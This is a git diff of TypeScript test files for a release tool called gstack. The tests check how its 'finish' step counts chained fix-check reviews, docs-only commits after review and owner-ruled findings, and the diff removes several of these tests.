- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- const a = link(f, t, found());
- edit(f, { 'src/x.ts': 'export const x = 4;\n' }, 'fix fix-check 1 findings');
- const b = link(f, a.commit, found());
- edit(f, { 'src/x.ts': 'export const x = 5;\n', 'test/x.test.ts': TEST_V2 }, 'fix fix-check 2 CRITICAL');
- const c = link(f, b.commit, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check chain of 3 from ${at(t)}: at ${at(a.commit)} grant ${a.grant} (found issues); at ${at(b.commit)} grant ${b.grant} (found issues); at ${at(c.commit)} grant ${c.grant})`);
- expect([r.status, lineOf(r.stdout, 'ROUTE')], r.stdout).toEqual([0, expect.stringMatching(/ behavior=0 .* fix_checked=2$/)]);
- });
-
- // Value: protects=one fix round after a fix-check that found a blocker counts: T..A found a CRITICAL, A..C read the fix clean;
- // fails_when=finish refuses link 1 as nonconverged; seam=finish's chain walk
- test('T to A (findings) to C (clean) counts at C', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- const a = link(f, t, found());
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'fix fix-check 1 CRITICAL');
- const c = link(f, a.commit, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check chain of 2 from ${at(t)}: at ${at(a.commit)} grant ${a.grant} (found issues); at ${at(c.commit)} grant ${c.grant})`);
- expect([r.status, lineOf(r.stdout, 'ROUTE')], r.stdout).toEqual([0, expect.stringMatching(/ behavior=0 .* fix_checked=2$/)]);
- });
-});
-
-describe('finish still refuses fix-check chains that do not read the fixes (GST-1973)', () => {
- // Value: protects=contiguity: a commit after the link with findings that no fix-check read breaks the chain; fails_when=a clean
- // link counts from any branch commit once an earlier link found issues; seam=finish's chain walk
- test('a gap between the link with findings and the clean link refuses', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- link(f, t, found());
- const gap = edit(f, { 'src/x.ts': 'export const x = 4;\n' }, 'an unread edit');
- edit(f, { 'test/x.test.ts': TEST_V2 }, 'the clean link fix');
- link(f, gap, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: not counted (range_base ${at(gap)} does not hold the reviewed tree)`);
- expect([r.status, stopLine(r.stdout)], r.stdout).toEqual([3, `${STOP}src/x.ts,test/x.test.ts)`]);
- });
-
- // Value: protects=a clean link joins only at the previous link's end: a range_base inside the earlier link's range is no link's
- // end commit; fails_when=finish accepts any range_base the earlier link's range holds; seam=finish's chain walk
- test('a clean link whose range starts inside the earlier link\'s range, not at its end, refuses', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- const mid = edit(f, { 'src/y.ts': 'export const y = 2;\n' }, 'first half of the fix');
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'second half of the fix');
- link(f, t, found());
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'fix the CRITICAL');
- link(f, mid, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: not counted (range_base ${at(mid)} does not hold the reviewed tree)`);
- expect([r.status, stopLine(r.stdout)], r.stdout).toEqual([3, `${STOP}src/x.ts,src/y.ts,test/x.test.ts)`]);
- });
-
- // Value: protects=the newest link must be at the current tree for what it read: an edit after the clean link routes as
- // behavior; fails_when=a counted chain covers edits made after its last link; seam=finish's per-path read test
- test('a clean last link that is not at the current tree leaves the later edit as behavior', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- const a = link(f, t, found());
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'fix fix-check 1 CRITICAL');
- link(f, a.commit, CLEAN);
- edit(f, { 'src/x.ts': 'export const x = 9;\n' }, 'an edit after the last fix-check');
- const r = finish(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).not.toMatch(/reviewed [^ ]*src\/x\.ts/);
- expect([r.status, stopLine(r.stdout)], r.stdout).toEqual([3, expect.stringMatching(/^STOP: behavior, tests or build inputs changed since review \([^)]*src\/x\.ts/)]);
- });
-
- // Value: protects=the newest link must itself be a clean, converged read: a chain ending in a link with findings never counts,
- // alone or after a clean link; fails_when=finish accepts a link with findings anywhere in the chain; seam=finish's chain walk
- test('a non-converged last link refuses, alone or after a clean link', () => {
- const one = reviewedShape();
- edit(one.f, { 'src/x.ts': 'export const x = 3;\n', 'test/x.test.ts': TEST_V2 }, 'fix the round-2 blocker');
- link(one.f, one.t, found());
- const r1 = finish(one.f, one.reviewed, one.reviewedBase);
- expect([r1.status, lineOf(r1.stdout, 'FIX_CHECK')], r1.stdout).toEqual([3, `FIX_CHECK: not counted (${NONCONVERGED})`]);
-
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- const a = link(f, t, CLEAN);
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'a second fix');
- const c = link(f, a.commit, found());
- const r = finish(f, reviewed, reviewedBase);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, `FIX_CHECK: not counted (${NONCONVERGED}; fix-check at ${at(c.commit)}, link 2 of 2)`]);
- expect(stopLine(r.stdout)).toBe(`${STOP}src/x.ts,test/x.test.ts)`);
- });
-
- // Value: protects=a blocking finding closes only when a later clean link read its path: an earlier clean link's read of
- // src/y.ts does not survive a later link that found a CRITICAL there, when no clean link after it touched src/y.ts;
- // fails_when=the chain counts src/y.ts from the first link's read; seam=finish's per-path read test
- test('a clean link that did not read the path an earlier finding named leaves that path as behavior', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/y.ts': 'export const y = 2;\n' }, 'fix the round-2 blocker in y');
- const a = link(f, t, CLEAN);
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'a fix in x');
- const b = link(f, a.commit, found('src/y.ts'));
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'a second fix in x');
- link(f, b.commit, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toMatch(/^FIX_CHECK: not counted \(a finding on src\/y\.ts that no later clean fix-check's range touched; fix-check at [0-9a-f]{12}, link 2 of 3\)$/);
- expect([r.status, stopLine(r.stdout)], r.stdout).toEqual([3, expect.stringMatching(/^STOP: behavior, tests or build inputs changed since review \([^)]*src\/y\.ts/)]);
- });
-
- // Value: protects=a finding path written ./src/y.ts names the same file as git's src/y.ts, so it still masks the earlier read;
- // fails_when=finish compares the reviewer's raw path to git's root-relative paths and counts src/y.ts; seam=flagged()'s paths
- test('a finding path written with a leading ./ still names the file a later clean link must read', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/y.ts': 'export const y = 2;\n' }, 'fix the round-2 blocker in y');
- const a = link(f, t, CLEAN);
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'a fix in x');
- const b = link(f, a.commit, found('./src/y.ts'));
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'a second fix in x');
- link(f, b.commit, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toMatch(/^FIX_CHECK: not counted \(a finding on src\/y\.ts that no later clean fix-check's range touched; fix-check at [0-9a-f]{12}, link 2 of 3\)$/);
- expect([r.status, stopLine(r.stdout)], r.stdout).toEqual([3, expect.stringMatching(/^STOP: behavior, tests or build inputs changed since review \([^)]*src\/y\.ts/)]);
- });
-
- // Value: protects=an earlier link's finding counts as handled only when a later clean link's range touched its file: a CRITICAL
- // on a file the branch never changed, a doubled ./ spelling and a directory all refuse the chain; fails_when=a finding on a path
- // no routing candidate holds drops out and the chain counts; seam=finish's chain walk (cross-family trail read, GSTA-425)
- test('a finding no later clean link read refuses the chain, even on a file the branch never changed', () => {
- for (const p of ['src/y.ts', '././src/x.ts', 'src']) {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- const a = link(f, t, found(p));
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'fix fix-check 1 findings');
- link(f, a.commit, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, expect.stringMatching(notCountedAt(a.commit))]);
- }
- });
-
- // Value: protects=every link needs its own approved review_loop_grant, the link that found issues included; fails_when=a link
- // with findings rides on the clean link's grant; seam=finish's per-link grant assignment
- test('a link with findings and no grant of its own refuses the chain', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- const a = link(f, t, found(), { grant: false });
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'fix fix-check 1 CRITICAL');
- link(f, a.commit, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, expect.stringMatching(notCountedAt(a.commit))]);
- expect(stopLine(r.stdout)).toBe(`${STOP}src/x.ts,test/x.test.ts)`);
- });
-
- // Value: protects=an earlier link hands its paths on only when its row says what it found: an unfinished read, a blocking
- // finding with no path, and claimed counts the findings list does not hold all refuse; fails_when=finish trusts a link whose
- // findings it cannot place; seam=finish's chain walk
- test('an earlier link that did not finish its read, or whose findings cannot be placed, refuses', () => {
- const rows = [
- found('src/x.ts', { completed: false, status: 'unavailable' }),
- found('src/x.ts', { findings: [{ fingerprint: 'p2/adversarial-native#1', severity: 'CRITICAL', action: 'deferred', blocking: true, raised_by: 'adversarial-native' }], issues_found: 1, informational: 0 }),
- found('src/x.ts', { issues_found: 5 }),
- found('src/x.ts', { critical: 2 }),
- found('src/gone.ts'),
- ];
- for (const row of rows) {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- const a = link(f, t, row);
- edit(f, { 'src/x.ts': 'export const x = 4;\n', 'test/x.test.ts': TEST_V2 }, 'fix fix-check 1 CRITICAL');
- link(f, a.commit, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, expect.stringMatching(notCountedAt(a.commit))]);
- }
- });
-});
-
-describe('finish counts a fix-check whose range starts after docs-only commits (GST-2294)', () => {
- const README = { 'README.md': '# Fx\n\nHow to run the canary.\n' };
- const notHeld = (c: string) => `FIX_CHECK: not counted (range_base ${at(c)} does not hold the reviewed tree)`;
-
- // Value: protects=harness-evals#361's shape counts: the reviewed commit, then the Step 14.5 docs commit, then the granted
- // fix-check whose range starts at that docs commit; fails_when=finish refuses the range_base because its tree is not the
- // reviewed tree and no earlier fix-check ends at it, so src/x.ts routes as behavior; seam=finish's chain walk
- test.each([
- ['one docs commit', [README]],
- ['a docs commit and a changelog stamp', [README, { 'CHANGELOG.md': '# Changelog\n\n## [Unreleased]\n\n- pending\n- canary docs\n' }]],
- ])('a range_base after %s counts', (_name, commits) => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- const between = (commits as Record<string, string>[]).map((files, k) => edit(f, files, `docs commit ${k + 1}`));
- const from = between[between.length - 1]!;
- edit(f, { 'src/x.ts': 'export const x = 3;\n', 'test/x.test.ts': TEST_V2 }, 'fix the round-2 blocker');
- const c = link(f, from, CLEAN);
- const r = finish(f, reviewed, reviewedBase, ['--docs-rechecked']);
- expect(lineOf(r.stdout, 'FIX_CHECK_DOCS_BRIDGE'), r.stdout).toBe(`FIX_CHECK_DOCS_BRIDGE: range_base ${at(from)} follows the reviewed commit ${at(t)} by docs or release metadata only (${between.map(at).join(',')})`);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${at(c.commit)}, range from ${at(from)}, grant ${c.grant})`);
- expect([r.status, lineOf(r.stdout, 'ROUTE')], r.stdout).toEqual([0, expect.stringMatching(/ behavior=0 .* fix_checked=2$/)]);
- });
-
- // Value: protects=only docs and release metadata bridge the gap: a code or test commit, alone or after a docs commit, between
- // the reviewed commit and range_base is a read no fix-check made; fails_when=finish accepts any range_base that descends from
- // the reviewed commit; seam=finish's chain walk
- test.each([
- ['a code commit', [{ 'src/y.ts': 'export const y = 2;\n' }]],
- ['a test commit', [{ 'test/x.test.ts': TEST_V2 }]],
- ['a docs commit, then a code commit', [README, { 'src/y.ts': 'export const y = 2;\n' }]],
- ])('a range_base after %s still refuses', (_name, commits) => {
- const { f, reviewed, reviewedBase } = reviewedShape();
- const between = (commits as Record<string, string>[]).map((files, k) => edit(f, files, `unread commit ${k + 1}`));
- const from = between[between.length - 1]!;
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- link(f, from, CLEAN);
- const r = finish(f, reviewed, reviewedBase, ['--docs-rechecked']);
- expect(lineOf(r.stdout, 'FIX_CHECK_DOCS_BRIDGE'), r.stdout).toBe('');
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, notHeld(from)]);
- });
-
- // Value: protects=the bridge runs only forward from the reviewed commit: a docs-only commit before it (so the reviewed commit
- // descends from range_base, as when --reviewed-tree names the fix-check's own tree) is no bridge; fails_when=finish accepts a
- // docs-only diff between range_base and the reviewed commit in either direction; seam=finish's chain walk
- test('a docs commit before the reviewed commit refuses: range_base is not a descendant of it', () => {
- const { f } = reviewedShape();
- const before = edit(f, README, 'docs before review');
- edit(f, { 'src/y.ts': 'export const y = 2;\n' }, 'more reviewed code');
- const reviewed = f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
- const reviewedBase = f.git('merge-base', 'origin/main', 'HEAD').stdout.trim();
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- link(f, before, CLEAN);
- const r = finish(f, reviewed, reviewedBase, ['--docs-rechecked']);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, notHeld(before)]);
- });
-
- // Value: protects=a base merge between the reviewed commit and range_base is no bridge, even when the base change is docs;
- // fails_when=finish reads a merge commit's first-parent diff as the branch's own docs edit; seam=finish's chain walk
- test('a merge commit between the reviewed commit and range_base refuses', () => {
- const { f, reviewed, reviewedBase } = reviewedShape();
- f.advanceBase({ 'docs/base.md': '# Base docs\n' });
- expect(f.git('fetch', '-q', 'origin').status).toBe(0);
- expect(f.git('merge', '-q', '--no-edit', 'origin/main').status).toBe(0);
- const merge = headOf(f);
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- link(f, merge, CLEAN);
- const r = finish(f, reviewed, reviewedBase, ['--docs-rechecked']);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(notHeld(merge));
- expect(r.status, r.stdout).toBe(3);
- });
-
- // Value: protects=a range_base on another branch still refuses, docs-only or not; fails_when=the bridge looks up the reviewed
- // commit from a range_base HEAD does not contain; seam=finish's chain walk
- test('a docs-only range_base on another branch refuses', () => {
- const { f, reviewed, reviewedBase } = reviewedShape();
- expect(f.git('checkout', '-qb', 'side').status).toBe(0);
- const side = edit(f, README, 'docs on a side branch');
- expect(f.git('checkout', '-q', 'feat').status).toBe(0);
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- link(f, side, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, 'FIX_CHECK: not counted (the row names no range_base commit on this branch)']);
- });
-
- // Value: protects=a range_base whose tree is the reviewed tree counts with no bridge line (an empty commit after review);
- // fails_when=the bridge replaces the equal-tree check; seam=finish's chain walk
- test('a range_base whose tree equals the reviewed tree counts', () => {
- const { f, reviewed, reviewedBase } = reviewedShape();
- expect(f.git('commit', '-q', '--allow-empty', '-m', 'an empty commit after review').status).toBe(0);
- const same = headOf(f);
- edit(f, { 'src/x.ts': 'export const x = 3;\n', 'test/x.test.ts': TEST_V2 }, 'fix the round-2 blocker');
- const c = link(f, same, CLEAN);
- const r = finish(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK_DOCS_BRIDGE'), r.stdout).toBe('');
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${at(c.commit)}, range from ${at(same)}, grant ${c.grant})`);
- expect(r.status, r.stdout).toBe(0);
- });
-});
-
-describe('the docs bridge uses the router\'s own metadata rule on a landed stack parent (GST-2294 audit)', () => {
- const POLICY_SRC = ['export const allow = false;', ...Array.from({ length: 28 }, (_, k) => `export const l${k} = ${k};`), 'export const label = "old";', ''].join('\n');
- /** A child branch reviewed after its stack parent P, with src/policy.ts optionally declared under key; P then lands on main and main merges into the child. */
- function stackShape(key: string | null, after: (f: ShipFx) => void) {
- const f = shipFixture({ ...(key ? { '.gstack/ship-policy.json': JSON.stringify({ min_gstack_version: '1.99.0.0', [key]: ['src/policy.ts'] }) } : {}), 'src/policy.ts': POLICY_SRC, 'src/x.ts': 'export const x = 1;\n' }, { 'src/parent.ts': 'export const parent = 1;\n' });
- ships.push(f);
- const parent = headOf(f);
- edit(f, { 'src/x.ts': 'export const x = 2;\n' }, 'child');
- const reviewed = f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
- const from = edit(f, { 'src/policy.ts': POLICY_SRC.replace('allow = false', 'allow = true') }, 'unreviewed logic change');
- after(f);
- link(f, from, CLEAN);
- f.advanceBase({ 'src/parent.ts': 'export const parent = 1;\n' });
- expect(f.git('fetch', '-q', 'origin').status).toBe(0);
- expect(f.git('merge', '-q', '--no-edit', 'origin/main').status).toBe(0);
- return { r: finish(f, reviewed, parent, ['--docs-rechecked']), from };
- }
- const notHeld = (c: string) => `FIX_CHECK: not counted (range_base ${at(c)} does not hold the reviewed tree)`;
-
- // Value: protects=a declared stamp or release-output path the router classes as behavior on a landed stack parent never bridges
- // the gap, whether the fix-check rewrites that file or only appends to it; fails_when=the bridge reads the broad release list and
- // credits src/policy.ts as fix_checked (finish exits 0, fix_checked=2); seam=finish's chain walk and route's metadata rule
- test.each([
- ['stamp_paths', 'a rewrite'], ['release_outputs', 'a rewrite'], ['stamp_paths', 'an append'], ['release_outputs', 'an append'],
- ])('%s: a logic change in the gap, then %s in the fix-check range, refuses', (key, kind) => {
- const { r, from } = stackShape(key, f => edit(f, {
- 'src/policy.ts': kind === 'a rewrite' ? POLICY_SRC.replace('allow = false', 'allow = true').replace('"old"', '"new"') : `${POLICY_SRC.replace('allow = false', 'allow = true')}export const tail = 1;\n`,
- 'src/x.ts': 'export const x = 3;\n',
- }, 'fix-check reads this range'));
- expect(lineOf(r.stdout, 'FIX_CHECK_DOCS_BRIDGE'), r.stdout).toBe('');
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, notHeld(from)]);
- });
-
- // Value: protects=the two controls of the append repro: with no append the fix-check never touched src/policy.ts, and with no
- // declaration the path was never metadata; both refuse; fails_when=either control counts; seam=finish's route
- test('controls: no append stops on src/policy.ts, and no declaration refuses the bridge', () => {
- const noAppend = stackShape('stamp_paths', f => edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix-check reads this range'));
- expect([noAppend.r.status, noAppend.r.stdout.includes('src/policy.ts')], noAppend.r.stdout).toEqual([3, true]);
- const undeclared = stackShape(null, f => edit(f, { 'src/policy.ts': `${POLICY_SRC.replace('allow = false', 'allow = true')}export const tail = 1;\n`, 'src/x.ts': 'export const x = 3;\n' }, 'fix-check reads this range'));
- expect([undeclared.r.status, lineOf(undeclared.r.stdout, 'FIX_CHECK')], undeclared.r.stdout).toEqual([3, notHeld(undeclared.from)]);
- });
-});
-
-describe('the docs bridge line prints only when the fix-check counts (GST-2294 audit)', () => {
- // Value: protects=FIX_CHECK_DOCS_BRIDGE never sits beside a refused chain; fails_when=the line prints before the grant check
- // refuses; seam=finish's FIX_CHECK output
- test('an ungranted fix-check after a docs commit prints no bridge line', () => {
- const { f, reviewed, reviewedBase } = reviewedShape();
- const d = edit(f, { 'README.md': '# Fx\n\nHow to run the canary.\n' }, 'docs commit');
- edit(f, { 'src/x.ts': 'export const x = 3;\n', 'test/x.test.ts': TEST_V2 }, 'fix the round-2 blocker');
- link(f, d, CLEAN, { grant: false });
- const r = finish(f, reviewed, reviewedBase, ['--docs-rechecked']);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK_DOCS_BRIDGE'), lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, '', 'FIX_CHECK: not counted (no approved review_loop_grant names a stop head inside its range_base..commit)']);
- });
-});
-
-describe('a path a counted fix-check read does not stale the docs audit (GST-3560)', () => {
- // Value: protects=HARN-64: the docs audit ran at the reviewed head, the fix after it changed a path the audit hashed, and a clean
- // granted fix-check read that fix at the current head; fails_when=finish stops on DOCS: stale (src/x.ts), though stage 2 routes
- // the path as fix_checked; seam=finish's docsFresh carry
- test('a fix-checked path carries as fix_checked, and a change no fix-check read still refuses', () => {
- const { f, t, reviewed, reviewedBase } = reviewedShape();
- const post = path.join(f.root, 'post.json');
- expect(run(f, 'gstack-docs-candidate', ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
- edit(f, { 'src/x.ts': 'export const x = 3;\n' }, 'fix the round-2 blocker');
- link(f, t, CLEAN);
- const args = ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--reviewed-base', reviewedBase, '--lane', LANE];
- const r = f.run(RELEASE, args);
- expect([r.status, lineOf(r.stdout, 'ROUTE'), lineOf(r.stdout, 'DOCS')], r.stdout).toEqual([0, expect.stringMatching(/ behavior=0 .* fix_checked=1$/), expect.stringMatching(/^DOCS: fresh .*carried: tests=0 base=0 requested=0 fix_checked=1\)/)]);
- edit(f, { 'src/y.ts': 'export const y = 2;\n' }, 'an unread change');
- const s = f.run(RELEASE, args);
- expect([s.status, stopLine(s.stdout)]).toEqual([3, `${STOP}src/y.ts)`]);
- });
-});
diff --git a/test/ship-finish-ruled-notes.test.ts b/test/ship-finish-ruled-notes.test.ts
index afee9e3e0..b4fbf4781 100644
--- a/test/ship-finish-ruled-notes.test.ts
+++ b/test/ship-finish-ruled-notes.test.ts
@@ -21,89 +21,24 @@ afterEach(() => { while (ships.length) ships.pop()!.cleanup(); });
const RACE = 'src/x.ts:1:edit-share-race';
const AMBIENT = 'src/x.ts:1:ambient-turns';
-const TEST_V1 = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); });\n";
-const TEST_V2 = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); }, 1_000);\n";
-/** The qm#3122 fix-check row: two outside-voice CRITICALs the owner ruled notes (logged skipped) and the fix-check's own two below-floor notes. */
-const QM3122 = {
- completed: true, converged: true, status: 'issues_found', issues_found: 4, critical: 2, informational: 2,
- findings: [
- { fingerprint: RACE, severity: 'CRITICAL', action: 'skipped', raised_by: 'outside-voice', blocking: true },
- { fingerprint: AMBIENT, severity: 'CRITICAL', action: 'skipped', raised_by: 'outside-voice', blocking: true },
- { fingerprint: 'src/x.ts:1:naming', severity: 'INFORMATIONAL', action: 'noted', raised_by: 'fix-check', blocking: false },
- { fingerprint: 'test/x.test.ts:2:coverage', severity: 'INFORMATIONAL', action: 'noted', raised_by: 'fix-check', blocking: false },
- ],
-};
-const NOT_CLEAN = 'FIX_CHECK: not counted (review has unresolved findings or did not finish clean)';
const run = (f: ShipFx, bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
const finish = (f: ShipFx, reviewed: string, post: string) => f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--lane', LANE]);
const rule = (f: ShipFx, finding: string, head: string, by = 'qm minder (CAPY-1)') => run(f, 'gstack-approvals', ['rule', '--finding', finding, '--head', head, '--reason', `${finding.split(':')[2]} ships as a disclosed note`, '--words', 'both are notes, not fixes', '--by', by, '--json']);
-const logFixCheck = (f: ShipFx, row: Record<string, unknown>) => {
- const start = run(f, 'gstack-review-log', ['--start', 'review-fix-check']);
- expect(start.status).toBe(0);
- const logged = run(f, 'gstack-review-log', [JSON.stringify({ skill: 'review-fix-check', timestamp: '2026-11-05T00:00:00Z', via: 'ship', review_scope: 'frozen', ...row }), '--finish', start.stdout.trim()]);
- expect(logged.status, logged.stderr).toBe(0);
-};
-/** Round 2 stopped at passHead, the owner granted one scoped fix-check, the fix landed, and the fix-check read it. */
-function grantedFixCheck(row: Record<string, unknown>, beforeLog?: (f: ShipFx, passHead: string) => void) {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST_V1 });
+/** A reviewed head the owner rules findings at. */
+function rulingHead() {
+ const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
ships.push(f);
- const passHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const reviewed = f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
- f.write({ 'src/x.ts': 'export const x = 3;\n', 'test/x.test.ts': TEST_V2 }); f.commit('fix the round-2 blocker');
- const fixHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const post = path.join(f.root, 'post.json');
- expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
- const grant = run(f, 'gstack-approvals', ['add', '--ask', `Owner grant: one scoped fix-check after round 2 (review_loop_grant ${passHead.slice(0, 12)})`, '--words', 'one scoped fix-check', '--by', 'qm minder (CAPY-1)', '--scope', 'this /ship invocation', '--json']);
- expect(grant.status).toBe(0);
- beforeLog?.(f, passHead);
- logFixCheck(f, { range_base: passHead, ...row });
- return { f, passHead, fixHead, reviewed, post, grant: JSON.parse(grant.stdout).added[0] as string };
+ return { f, passHead: f.git('rev-parse', 'HEAD').stdout.trim() };
}
-// Value: protects=the qm#3122 shape binds once the owner's two rulings are recorded: a granted fix-check whose own findings
-// are all below the floor reads CURRENT and finish counts it, printing every ruling; fails_when=finish still counts a
-// skipped owner-ruled CRITICAL as open (FIX_CHECK: not counted) or binds without naming the rulings; seam=finish's route
-// reading the review log and the approval record; no_claim=Step 11.5's full-pass binding
+// Value: protects=an owner ruling is recorded only through gstack-approvals rule, from outside an open /ship run, and the
+// receipt and PR body list every one with its ruler and reason; fails_when=a forged or self-written ruling records, or write
+// accepts a body that drops a ruling; seam=gstack-approvals rule and gstack-ship-receipt write; no_claim=Step 11.5's binding
+// of a ruled stopped review (the cases below)
describe('finish with owner-ruled notes (GST-1537)', () => {
- test('qm#3122: two ruled CRITICALs plus a clean fix-check, and finish binds', () => {
- const { f, passHead, fixHead, reviewed, post, grant } = grantedFixCheck(QM3122);
- const before = finish(f, reviewed, post);
- expect([before.status, lineOf(before.stdout, 'FIX_CHECK')]).toEqual([3, NOT_CLEAN]);
- for (const finding of [RACE, AMBIENT]) expect(rule(f, finding, passHead).status).toBe(0);
- const r = finish(f, reviewed, post);
- expect(lineOf(r.stdout, 'FIX_CHECK')).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${fixHead.slice(0, 12)}, range from ${passHead.slice(0, 12)}, grant ${grant})`);
- const ruled = r.stdout.split('\n').filter(l => l.startsWith('RULED_NOTE: '));
- expect(ruled).toEqual([
- expect.stringMatching(new RegExp(`^RULED_NOTE: ${RACE} at ${passHead.slice(0, 12)} ruled by qm minder \\(CAPY-1\\) at \\d{4}-\\d\\d-\\d\\dT[^ ]+Z: edit-share-race ships as a disclosed note \\(approval a-[0-9a-f]{12}\\)$`)),
- expect.stringMatching(new RegExp(`^RULED_NOTE: ${AMBIENT} at ${passHead.slice(0, 12)} ruled by qm minder \\(CAPY-1\\) at .*\\)$`)),
- ]);
- expect([r.status, lineOf(r.stdout, 'EVIDENCE')]).toEqual([0, expect.stringMatching(/^EVIDENCE: FRESH label=tests /)]);
- });
-
- test('the forward order binds too: the owner rules at the stop head, then the granted fix-check runs', () => {
- const { f, fixHead, reviewed, post } = grantedFixCheck(QM3122, (fx, head) => { for (const finding of [RACE, AMBIENT]) expect(rule(fx, finding, head).status).toBe(0); });
- const r = finish(f, reviewed, post);
